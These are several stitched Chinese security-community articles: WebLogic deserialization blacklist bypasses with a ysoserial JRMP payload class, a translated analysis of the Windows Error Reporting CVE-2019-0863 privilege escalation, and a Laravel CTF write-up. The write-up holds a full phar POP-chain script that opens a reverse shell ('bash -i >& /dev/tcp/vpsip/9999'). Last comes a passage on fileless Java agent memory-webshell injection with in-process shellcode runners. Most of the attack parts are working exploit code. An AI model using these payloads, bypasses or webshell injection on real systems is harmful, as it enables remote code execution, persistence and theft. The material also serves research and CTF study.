Oracle在2018年4月发布的补丁中修复方式是将sun.rmi.server.UnicastRef加入了黑名单中，weblogic.utils.io.oif.WebLogicFilterConfig.class：
private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };
可能Oracle官方并没有验证过补丁，这个修复方式只对我提交的bypass（Payload 1）有效，而Payload
2和3依然可以使用。分析了一下后两个payload依然可以使用的原因：
主要是sun.rmi.server.UnicastRef经过了java.rmi.server.RemoteObjectInvocationHandler的封装，在序列化生成payload时，修改了UnicastRef对象写入流程。
查看RemoteObjectInvocationHandler父类java.rmi.server.RemoteObject的writeObject方法：
可以看到成员变量this.ref的序列化流程：
paramObjectOutputStream.writeUTF("UnicastRef");
this.ref.writeExternal(paramObjectOutputStream);
对应的readObject是
paramObjectInputStream.readUTF();
this.ref.readExternal(paramObjectInputStream);
经过RemoteObjectInvocationHandler封装后，sun.rmi.server.UnicastRef的反序列化过程是嵌套在RemoteObjectInvocationHandler的readObject中的，所以weblogic的黑名单是拦截不到的。
如上图，反序列化时，descriptor.getName()获取到的是"java.rmi.server.RemoteObjectInvocationHandler"，不受黑名单限制，在反序列化过程中又调用了UnicastRef.readExternal()，所以漏洞继续存在。
#### 3、CVE-2018-2893
针对前面漏洞没有修复彻底的问题，在今年7月份的补丁中进行了如下修复：
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };
黑名单进行了更新：
java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject
#### 4、CVE-2018-？
CVE-2018-2893还是可以继续绕的，懒得提交Oracle了，漏洞也有点鸡肋。根据前面的分析可知，我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换，就能继续绕过了。
那么这个类应该满足以下条件：
1. 继承远程类：java.rmi.server.RemoteObject
2. 不在黑名单里边（`java.rmi.activation.* 、sun.rmi.server.*`）
随便找了一下，符合条件的挺多的：
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
RMIConnectionImpl_Stub 继承至--> java.rmi.server.RemoteStub
继承至-->java.rmi.server.RemoteObject
稍微改一下payload便能继续利用了：
package ysoserial.payloads;
import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
return stub;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
RMIConnectionImpl_Stub替换RemoteObjectInvocationHandler之后，payload又能用了。
后续利用需要配合Jdk7u21来执行命令，所以本身这个漏洞便有点鸡肋：
1、服务器没有禁用T3、T3S协议。
2、weblogic服务器需能访问到外网，才能发起JRMP请求。
3、服务器使用低版本jdk。 | 社区文章 |
# Windows Error Reporting 0day漏洞分析（CVE-2019-0863）
##### 译文声明
本文是翻译文章，文章原作者 paloaltonetworks，文章来源：unit42.paloaltonetworks.com
原文地址：<https://unit42.paloaltonetworks.com/tale-of-a-windows-error-reporting-zero-day-cve-2019-0863/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
2018年12月，名为“SandboxEscaper”的一名黑客公开了Windows Error
Reporting（WER，Windows错误报告）组件中的一个0day漏洞。深入分析这个漏洞后，我发现了另一个0day漏洞，该漏洞可以用来提升至系统权限。根据微软的[安全公告](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0863)，攻击者一直在实际环境中利用该漏洞发起攻击，攻击活动直到2019年5月份微软推出安全补丁才暂告一段落。
本文将与大家分享这个漏洞的具体原理。
## 0x01 WER工作原理
[Windows Error Reporting](https://docs.microsoft.com/en-us/windows/desktop/wer/about-wer)工具是基于事件的一种反馈架构，用来收集Windows能够探测到的硬件以及软件方面的问题，向微软提交相关信息，并且可以为用户提供可用的解决方案。
比如，如果Windows出现系统崩溃，那么就会生成错误报告，存放到WER报告队列目录中（`C:\ProgramData\Microsoft\Windows\WER\ReportQueue`），队列中每个报告都有自己的子目录以及唯一对应的`Report.wer`
INI文件（其中带有相关元数据）。为了能让所有进程都能报告错误信息，所有用户都具备`ReportQueue`目录的写入权限，如下图所示：
图1. Windows Error Reporting队列目录
报告生成后，会被发送到微软以便后续分析。这种交互行为可以通过多种方式来触发，其中一种方式就是利用名为`Windows Error
Reporting\QueueReporting`的计划任务。从安全角度来看，这个任务比较有趣，主要有以下几个因素：
* 该任务以`SYSTEM`权限运行，可参考任务对应的`Security Options`选项
* 该任务可按需触发
* 该任务会以固定的命令行参数来运行一个专用的程序：`wermgr.exe -upload`
图2. Windows Error Reporting计划任务
`wermgr.exe`在执行后，会与挂起的报告文件以及目录交互。程序会读取并解析相关文件，将这些文件拷贝到其他目录，有时候甚至会删除文件。现在我们已经具有一个较高权限的组件，该组件能够访问任何用户都具备写入权限的文件。如果程序在逻辑实现过程中不够严谨，那么这种操作将引入一些非常严重的安全问题。
## 0x02 滥用文件系统链接
Windows支持不同类型的文件系统链接，我们可以利用这些链接将文件以及目录指向其他文件及目录。一旦链接被系统扫描以及重新解析，就会将用户重定向到目标路径。从安全角度来看，这里最大的风险在于滥用硬链接（hard
links）以及挂载点（mount point），因为用户可以将这些组件链接到本来不具备写入权限的目标文件或者目录。
举个例子，比如不具备`kernel32.dll`写入权限的用户可以创建`c:\temp\Dir\x.dll`以及`C:\Windows\System32\kernel32.dll`之间的硬链接。具备重定向到较高权限组件的能力一直都是黑客追求的目标，这样就能读取、写入甚至删除敏感的关键文件。
图3. 硬链接至用户不具备写入权限的文件
## 0x03 漏洞分析
简而言之，攻击者可以利用WER来修改文件权限，利用前文提到的文件系统链接方式，将报告目录中的文件链接至主机上的其他目标文件，以获取对其他任意文件的读取、写入、编辑以及删除权限。
更具体一点，整体漏洞利用场景如下：
* `wermger.exe`逐一解析报告目录中的所有文件，将这些文件提交给微软
* 当`wermger.exe`检测到损坏的`Report.wer` INI文件，就会删除该文件。然而`wermger.exe`首先会修改该文件的[DACL](https://docs.microsoft.com/en-us/windows/desktop/secauthz/dacls-and-aces)属性，以便删除该文件
* `wermger.exe`在读取文件DACL属性以及添加删除权限之间存在较小的一个时间窗口，攻击者利用的正是这个时间窗口。如果攻击者创建这类文件与系统上其他任意文件的一个链接，那么在读取DACL之后，`wermgr.exe`会错误地修改其他文件的安全描述符。这是非常糟糕的场景。
具体利用原理可分为以下几步。
步骤1：
`wermgr.exe
-upload`执行的第一个操作就是调用`wermgr!DoCoreUpload`函数，该函数会列出`ReportQueue`下的所有子目录，读取错误报告并将报告提交给微软：
int64 DoCoreUpload(/* ... */) {
/* ... */
Ret = WerpSubmitReportFromStore(ReportPath, /* ... */);
if (Ret >= 0) {
/* Report successfully uploaded */
} else {
if (Ret == ERROR_FILE_CORRUPT) {
DeleteCorruptedReportFromStore(ReportPath);
}
}
}
步骤2：
当`wermgr.exe`遇到损坏的`Report.wer` INI文件时，会修改文件的DACL，以便后续执行删除操作。更具体的细节为：
首先，`wermgr!DeleteCorruptedReportFromStore`会列出报告子目录下的所有文件；
其次，`wermgr!PreparePathForDeletion`会修改每个文件的权限。这里正是核心bug所在的位置，因为该函数会使用`kernel32!GetFileSecurity`来读取文件的安全描述符，然后调用`kernel32!SetFileSecurity`将删除描述符应用于该文件。
int64 PreparePathForDeletion(wchar_t* FileName) {
PSECURITY_DESCRIPTOR SecurityDescriptor = NULL;
DWORD BytesRead = 0;
PDACL Dacl = NULL;
/* ... */
if ( !GetFileSecurity(FileName,
DACL_SECURITY_INFORMATION,
NULL, 0, &BytesRead) ) {
/* ... */
return;
}
SecurityDescriptor = new BYTE[BytesRead];
if ( !GetFileSecurity(FileName,
DACL_SECURITY_INFORMATION,
SecurityDescriptor,
BytesRead, &BytesRead) ) {
/* ... */
return;
}
if ( GetSecurityDescriptorDacl(SecurityDescriptor,
&DaclPresent,
&Dacl, &DaclDefaulted) )
{
/* ... */
HANDLE TokenHandle = NULL;
PACL NewAcl = NULL;
EXPLICIT_ACCESS ExplicitAccess = {0};
/* ... */
LPVOID UserName = new BYTE[/* ... */];
GetTokenInformation(TokenHandle, TokenUser,
UserName, &BytesRead);
ExplicitAccess.Trustee.ptstrName = UserName;
ExplicitAccess.Trustee.TrusteeType = TRUSTEE_IS_NAME;
ExplicitAccess.grfAccessMode = GRANT_ACCESS;
ExplicitAccess.grfAccessPermissions = DELETE | /* ... */;
/* ... */
SetEntriesInAcl(1, &ExplicitAccess, Dacl, &NewAcl);
InitializeSecurityDescriptor(&SecurityDescriptor, 1);
SetSecurityDescriptorDacl(&SecurityDescriptor, 1, NewAcl, 0);
SetFileSecurity(FilePath, DACL_SECURITY_INFORMATION,
&SecurityDescriptor);
}
}
能够在合适的时机成功创建文件系统链接是非常困难的一个操作，但如果攻击者非常有耐心，可以不断重试，直到成功完成该任务。攻击者很可能以可执行文件（DLL、EXE或者脚本）作为目标，然后以恶意payload覆盖这些文件，最后以`SYSTEM`权限来执行。 | 社区文章 |
# 2018护网杯easy_laravel 利用POP Chian getshell
出题的师傅已经把docker环境放到了github上
<https://github.com/sco4x0/huwangbei2018_easy_laravel>
可以自己环境部署，关于如何通过sql注入变成管理员请参考这位师傅的博客
<http://www.venenof.com/index.php/archives/565/> 。
下面是在你已经成为管理员，为了方便我直接修改了代码，将`UploadController`的`$this->middleware(['auth',
'admin']);` 注释掉。
根据这篇文章
<https://paper.seebug.org/680/>
我们知道，phar协议在涉及到文件操作的时候存在反序列化。
下面我们的目标是如何找POP Chain。在vendor 这个文件夹下面，搜索`__destruct`和`call_user_func`
我找到了下面两个文件。
`Illuminate\Broadcasting\PendingBroadcast.php`
<?php
namespace Illuminate\Broadcasting;
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->fire($this->event);
}
public function toOthers()
{
if (method_exists($this->event, 'dontBroadcastToCurrentUser')) {
$this->event->dontBroadcastToCurrentUser();
}
return $this;
}
}
`Faker\Generator.php`
<?php
namespace Faker;
class Generator
{
protected $providers = array();
protected $formatters = array();
public function addProvider($provider)
{
array_unshift($this->providers, $provider);
}
public function getProviders()
{
return $this->providers;
}
public function seed($seed = null)
{
if ($seed === null) {
mt_srand();
} else {
if (PHP_VERSION_ID < 70100) {
mt_srand((int) $seed);
} else {
mt_srand((int) $seed, MT_RAND_PHP);
}
}
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function parse($string)
{
return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string);
}
protected function callFormatWithMatches($matches)
{
return $this->format($matches[1]);
}
public function __get($attribute)
{
return $this->format($attribute);
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
先解释两个魔术方法
`__destruct` 销毁对象的时候会自动调用该方法
`__call`当对象调用不存在的方法时会自动调用该函数
那么POP
chain就比较明显了，先创建一个`Generator`实例，然后将其赋值给`PendingBroadcast`的`events`。当`PendingBroadcast`自动销毁时会调用`Generator`的`fire`方法，但是`fire`方法不存在，所以自动调用`__call`方法，`__call`方法调用了`format`方法，`format`里面的两个参数都可控，这样就可以RCE了。
可能解释的不是很清楚，具体利用看下面的脚本。
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->fire($this->event);
}
}
}
namespace Faker{
class Generator
{
protected $formatters;
function __construct($forma){
$this->formatters = $forma;
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
}
namespace{
$fs = array("fire"=>"system");
$gen = new Faker\Generator($fs);
$pb = new Illuminate\Broadcasting\PendingBroadcast($gen,"bash -c 'bash -i >& /dev/tcp/vpsip/9999 0>&1'");
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($pb);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '3.gif');
}
?>
然后将上面脚本生成的3.gif
上传然后,通过控制path参数和filename参数使得file_exists("phar:///usr/share/nginx/html/storage/app/public/3.gif/1.txt")，然后就可以getshell了。
成功get shell。
参考链接：
* <https://github.com/sco4x0/huwangbei2018_easy_laravel>
* <http://www.venenof.com/index.php/archives/565/>
* <https://paper.seebug.org/680/> | 社区文章 |
* 回顾
* 优雅的构造JPLISAgent
* 获取JVMTIEnv指针
* Windows平台
* Linux平台
* 组装JPLISAgent
* 动态修改类
* Windows平台
* Linux平台
* 植入内存马
* 后记
* 参考
### 回顾
* 2018年，《利用“进程注入”实现无文件复活 WebShell》一文首次提出memShell（内存马）概念，利用Java Agent技术向JVM内存中植入webshell，并在github上发布memShell项目。项目中对内存马的植入过程比较繁琐，需要三个步骤：
1. 上传inject.jar到服务器用来枚举jvm并进行植入；
2. 上传agent.jar到服务器用来承载webshell功能；
3. 执行系统命令java -jar inject.jar。
* 2020年，Behinder（冰蝎） v3.0版本更新中内置了Java内存马注入功能，此次更新利用self attach技术，将植入过程由上文中的3个步骤减少为2个步骤：
1. 上传agent.jar到服务器用来承载webshell功能；
2. 冰蝎服务端调用Java API将agent.jar植入自身进程完成注入。
* 2021年，Behinder（冰蝎）v3.0 Beta 10版本更新中，实现了内存马防检测（我称他为Anti-Attach技术),可以避免在我们注入内存马之后其他人再注入内存马或者扫描内存马。
>
> 作为一个“强迫症患者”，我一直认为上述的植入过程都不够优雅。attacker追求的是微操、无痕，而Agent内存马的植入却要在目标磁盘上落地一个Jar包，这个操作太“脏”了。
>
> 当然，在此期间，很多优秀的安全研究者将目标转向了向目标容器中新增各种Java
> Web组件上，比如新增一个Filter、Servlet、Listener、Spring的Controller等等，这种方式需要引入一些额外的相互引用关系，容易被检测到。而且对目标容器环境有较强的依赖性，不同的组件、不同的容器或者不同的版本，注入方法可能都不一样，通用性较弱。
* 2021年，《Java内存攻击技术漫谈》一文，提出了无文件agent植入技术，整个Agent注入的过程不需要在目标磁盘上落地文件，这勉强解决了“脏”的问题。但是该文中介绍的方法存在一个缺陷，那就是获取JPLISAgent的过程不够优雅和安静，会概率性的导致Java进程崩溃，这是不能忍的，于是就有了这篇文章。
### 优雅的构造JPLISAgent
在《Java内存攻击技术漫谈》一文中，我使用了特征字典+暴力内存搜索的方式来获取Native内存中的JVMTIEnv对象指针，由于ASLR的原因，在搜索过程中，很可能会将非指针数据作为指针来访问，从而触发内存访问异常，OS会直接接管这个异常并结束JVM进程。
如何才能精准的获取JVMTIEnv的指针呢？
#### 获取JVMTIEnv指针
可以利用JNI_GetCreatedJavaVMs函数。游望之在《Linux下内存马进阶植入技术》一文中提到，JavaVM对象中存在一个名为GetEnv的成员函数，如下：
struct JavaVM_ {
const struct JNIInvokeInterface_ *functions;
#ifdef __cplusplus
jint DestroyJavaVM() {
return functions->DestroyJavaVM(this);
}
jint AttachCurrentThread(void **penv, void *args) {
return functions->AttachCurrentThread(this, penv, args);
}
jint DetachCurrentThread() {
return functions->DetachCurrentThread(this);
}
jint GetEnv(void **penv, jint version) {
return functions->GetEnv(this, penv, version);
}
jint AttachCurrentThreadAsDaemon(void **penv, void *args) {
return functions->AttachCurrentThreadAsDaemon(this, penv, args);
}
#endif
};
怎么样获得JavaVM对象呢？我相信如果是熟悉Java
Native开发的同学可能对此并不陌生，在jvm.dll中存在一个名为JNI_GetCreatedJavaVMs的函数，该函数是JVM提供给Java
Native开发人员用来在Native层获取VM对象的，因为是开放给开发者使用的，所以该函数是导出的。我们可以直接调用这个函数来获取JavaVM对象。
但是，怎么调用JNI_GetCreatedJavaVMs呢？该函数的规矩用法是需要先开发一个Java的dll动态链接库，然后在Java代码中加载这个dll库，然后再调用dll中的方法。当然这不是我们希望的，如果我们愿意去写个dll上传加载，那还不如直接上传个agent.jar来的方便。
有没有可能不用开发额外的dll文件或者so文件来调用JNI相关的函数呢？有。
##### Windows平台
在《Java内存攻击技术漫谈》一文中，我提出了一种可以在Windows平台下通过Java向指定进程植入并运行shellcode的方法，当目标进程PID为-1时，即可向自身进程植入并运行shellcode，Poc如下：
import java.lang.reflect.Method;
public class RunShellCode {
public static void main(String[] args) throws Exception {
System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods())
{
if (m.getName().equals("enqueue"))
{
long hProcess=-1;
byte shellcode[] = new byte[] //pop calc.exe x64
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
String cmd="load";String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]{hProcess,shellcode,cmd,pipeName,new Object[]{}});
}
}
}
}
为了避免目标没有WindowsVirtualMachine，自己写一个同名类：
package sun.tools.attach;
import java.io.IOException;
public class WindowsVirtualMachine {
static native void enqueue(long hProcess, byte[] stub,String cmd, String pipename, Object... args) throws IOException;
}
基于这个方法，我们可以写一段通用的shellcode来动态调用jvm.dll中的JNI_GetCreatedJavaVMs。
这段shellcode的主要工作流程是：
1. 先获取到当前进程kernel32.dll的基址；
2. 在kernel32.dll的输出表中，获取GetProcessAddress函数的地址；
3. 调用GetProcessAddress获取LoadLibraryA函数的地址；
4. 调用LoadLibraryA加载jvm.dll获取jvm.dll模块在当前进程中的基址；
5. 调用GerProcAddress在jvm.dll中获取JNI_GetCreatedJavaVMs的地址；
6. 调用JNI_GetCreatedJavaVMs；
7. 还原现场，安全退出线程，优雅地离开，避免shellcode执行完后进程崩溃。
如下是x86版本的shellcode：
00830000 | 90 | nop |
00830001 | 90 | nop |
00830002 | 90 | nop |
00830003 | 33C9 | xor ecx,ecx |
00830005 | 64:A1 30000000 | mov eax,dword ptr fs:[30] |
0083000B | 8B40 0C | mov eax,dword ptr ds:[eax+C] |
0083000E | 8B70 14 | mov esi,dword ptr ds:[eax+14] |
00830011 | AD | lodsd |
00830012 | 96 | xchg esi,eax |
00830013 | AD | lodsd |
00830014 | 8B58 10 | mov ebx,dword ptr ds:[eax+10] | ebx:"MZ?"
00830017 | 8B53 3C | mov edx,dword ptr ds:[ebx+3C] | edx:"MZ?"
0083001A | 03D3 | add edx,ebx | edx:"MZ?", ebx:"MZ?"
0083001C | 8B52 78 | mov edx,dword ptr ds:[edx+78] | edx:"MZ?"
0083001F | 03D3 | add edx,ebx | edx:"MZ?", ebx:"MZ?"
00830021 | 33C9 | xor ecx,ecx |
00830023 | 8B72 20 | mov esi,dword ptr ds:[edx+20] |
00830026 | 03F3 | add esi,ebx | ebx:"MZ?"
00830028 | 41 | inc ecx |
00830029 | AD | lodsd |
0083002A | 03C3 | add eax,ebx | ebx:"MZ?"
0083002C | 8138 47657450 | cmp dword ptr ds:[eax],50746547 |
00830032 | 75 F4 | jne 830028 |
00830034 | 8178 04 726F6341 | cmp dword ptr ds:[eax+4],41636F72 |
0083003B | 75 EB | jne 830028 |
0083003D | 8178 08 64647265 | cmp dword ptr ds:[eax+8],65726464 |
00830044 | 75 E2 | jne 830028 |
00830046 | 8B72 24 | mov esi,dword ptr ds:[edx+24] |
00830049 | 03F3 | add esi,ebx | ebx:"MZ?"
0083004B | 66:8B0C4E | mov cx,word ptr ds:[esi+ecx*2] |
0083004F | 49 | dec ecx |
00830050 | 8B72 1C | mov esi,dword ptr ds:[edx+1C] |
00830053 | 03F3 | add esi,ebx | ebx:"MZ?"
00830055 | 8B148E | mov edx,dword ptr ds:[esi+ecx*4] | edx:"MZ?"
00830058 | 03D3 | add edx,ebx | edx:"MZ?", ebx:"MZ?"
0083005A | 52 | push edx | edx:"MZ?"
0083005B | 33C9 | xor ecx,ecx |
0083005D | 51 | push ecx |
0083005E | 68 61727941 | push 41797261 |
00830063 | 68 4C696272 | push 7262694C |
00830068 | 68 4C6F6164 | push 64616F4C |
0083006D | 54 | push esp |
0083006E | 53 | push ebx | ebx:"MZ?"
0083006F | FFD2 | call edx |
00830071 | 83C4 0C | add esp,C |
00830074 | 59 | pop ecx |
00830075 | 50 | push eax |
00830076 | 66:B9 3332 | mov cx,3233 |
0083007A | 51 | push ecx |
0083007B | 68 6A766D00 | push 6D766A | 6D766A:L"$$笔划$$字根/笔划"
00830080 | 54 | push esp |
00830081 | FFD0 | call eax |
00830083 | 8BD8 | mov ebx,eax | ebx:"MZ?"
00830085 | 83C4 0C | add esp,C |
00830088 | 5A | pop edx | edx:"MZ?"
00830089 | 33C9 | xor ecx,ecx |
0083008B | 51 | push ecx |
0083008C | 6A 73 | push 73 |
0083008E | 68 7661564D | push 4D566176 |
00830093 | 68 65644A61 | push 614A6465 |
00830098 | 68 72656174 | push 74616572 |
0083009D | 68 47657443 | push 43746547 |
008300A2 | 68 4A4E495F | push 5F494E4A |
008300A7 | 54 | push esp |
008300A8 | 53 | push ebx | ebx:"MZ?"
008300A9 | FFD2 | call edx |
008300AB | 8945 F0 | mov dword ptr ss:[ebp-10],eax |
008300AE | 54 | push esp |
008300AF | 6A 01 | push 1 |
008300B1 | 54 | push esp |
008300B2 | 59 | pop ecx |
008300B3 | 83C1 10 | add ecx,10 |
008300B6 | 51 | push ecx |
008300B7 | 54 | push esp |
008300B8 | 59 | pop ecx |
008300B9 | 6A 01 | push 1 |
008300BB | 51 | push ecx |
008300BC | FFD0 | call eax |
008300BE | 8BC1 | mov eax,ecx |
008300C0 | 83EC 30 | sub esp,30 |
008300C3 | 6A 00 | push 0 |
008300C5 | 54 | push esp |
008300C6 | 59 | pop ecx |
008300C7 | 83C1 10 | add ecx,10 |
008300CA | 51 | push ecx |
008300CB | 8B00 | mov eax,dword ptr ds:[eax] |
008300CD | 50 | push eax |
008300CE | 8B18 | mov ebx,dword ptr ds:[eax] | ebx:"MZ?"
008300D0 | 8B43 10 | mov eax,dword ptr ds:[ebx+10] |
008300D3 | FFD0 | call eax |
008300D5 | 8B43 18 | mov eax,dword ptr ds:[ebx+18] |
008300D8 | 68 00020130 | push 30010200 |
008300DD | 68 14610317 | push 17036114 |;该内存地址是JavaVM->GetEnv的第一个参数，由我们动态指定，用来接收jvmti对象的地址
008300E2 | 83EC 04 | sub esp,4 |
008300E5 | FFD0 | call eax |
008300E7 | 83EC 0C | sub esp,C |
